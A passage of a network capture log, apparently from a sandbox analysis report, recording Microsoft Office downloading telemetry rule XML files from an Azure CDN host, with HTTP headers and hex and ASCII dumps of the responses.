3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.4	49765	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:01 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 20:22:01 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:01 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 59c13bef-301e-0052-73a0-3465d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T202201Z-15869dbbcc6lq2lzhC1DFWs1sn000000027000000000eg61 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 20:22:01 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.4	49764	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:01 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 20:22:01 UTC	538	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:01 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: be525922-801e-00a0-03ff-2c2196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T202201Z-16547b76f7f775p5hC1DFWzdvn0000000g0000000000v0ce x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-12 20:22:01 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.4	49770	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:02 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 20:22:02 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:02 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 48bb68ea-401e-0016-35ff-2c53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T202202Z-16547b76f7f775p5hC1DFWzdvn0000000g60000000004ktu x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 20:22:02 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.4	49769	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:02 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 20:22:02 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:02 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: 4486a485-001e-0034-28a3-34dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T202202Z-17df447cdb542kkvhC1DFW3d44000000016g00000000q8qw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 20:22:02 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.4	49771	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:02 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 20:22:02 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:02 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: 1a2e7d6b-a01e-000d-7bfc-2cd1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T202202Z-16547b76f7fj5p7mhC1DFWf8w40000000gb00000000008vu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 20:22:02 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.4	49772	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:02 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 20:22:02 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:02 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: 23cb21e1-e01e-0052-4e08-2cd9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T202202Z-16547b76f7fkcrm9hC1DFWxdag0000000g7000000000fa2v x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 20:22:02 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.4	49775	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:03 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 20:22:03 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:03 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: 933b6e18-c01e-0079-6ca0-34e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T202203Z-15869dbbcc6zbpm7hC1DFWrv8n00000000t000000000d6r9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 20:22:03 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.4	49773	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:03 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 20:22:03 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:03 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: e3607b55-f01e-001f-47a5-345dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T202203Z-15869dbbcc6xcpf8hC1DFWxtx00000000nq0000000000a0e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 20:22:03 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.4	49774	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:03 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 20:22:03 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:03 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: a2886317-b01e-00ab-6c01-2ddafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T202203Z-16547b76f7f9rdn9hC1DFWfk7s0000000g0000000000vqkr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 20:22:03 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.4	49776	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:03 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 20:22:03 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:03 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: 7c20effc-801e-0015-04a3-34f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T202203Z-17df447cdb5vp9l9hC1DFW5hw8000000082g00000000meyz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 20:22:03 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.4	49777	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:04 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 20:22:04 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:04 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: 2e9646c6-a01e-0098-2aa5-348556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T202204Z-17df447cdb528ltlhC1DFWnt1c0000000c8000000000hqse x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-12 20:22:04 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.4	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-12 20:22:04 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-12 20:22:04 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 20:22:04 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: f6249f53-a01e-0053-16a5-348603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241112T202204Z-17df447cdb528ltlhC1DFWnt1c0000000c9000000000gm97 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
